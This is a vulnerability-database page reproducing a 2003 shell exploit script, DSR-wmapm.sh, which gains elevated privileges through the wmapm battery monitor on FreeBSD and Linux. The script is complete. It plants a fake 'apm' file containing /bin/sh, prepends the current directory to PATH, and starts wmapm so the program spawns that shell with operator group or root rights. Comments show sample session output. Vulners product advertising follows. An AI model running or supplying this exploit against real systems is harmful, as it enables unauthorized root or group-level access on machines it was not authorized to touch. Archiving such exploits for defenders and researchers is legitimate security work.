Lucene search
K

DSR-wmapm.sh

🗓️ 08 Nov 2003 00:00:00Reported by Knud Erik HojgaardType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 35 Views

Exploit script to gain root access via wmapm on FreeBSD and Linux systems.

Code
`#/bin/sh  
# Pretty useless, we can mess up /etc/dumpdates or run shutdown  
# on FreeBSD systems with wmapm from ports.  
# If wmapm is installed from source we get root instead,  
# so I suppose this might be worth something(uid 0) on linux.  
# kokanin@dtors~ pkg_info | grep -i wmapm  
# wmapm-3.1 Laptop battery status display for WindowMaker  
# kokanin@dtors~ ls -la `which wmapm`   
# -rwxr-sr-x 1 root operator 41892 Mar 23 10:00 /usr/X11R6/bin/wmapm  
# kokanin@dtors~ sh DSR-wmapm.sh  
# press the S button when wmapm starts  
# $ /usr/bin/id  
# uid=1001(kokanin) gid=1001(kokanin) egid=5(operator) groups=5(operator), 1001(kokanin), 0(wheel), 666(lewsers)  
echo "/bin/sh" > apm  
chmod +x ./apm  
echo "press the S button(not the key, the BUTTON, in the PROGRAM) when wmapm starts"  
export PATH=.:$PATH  
/usr/X11R6/bin/wmapm  
rm ./apm`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation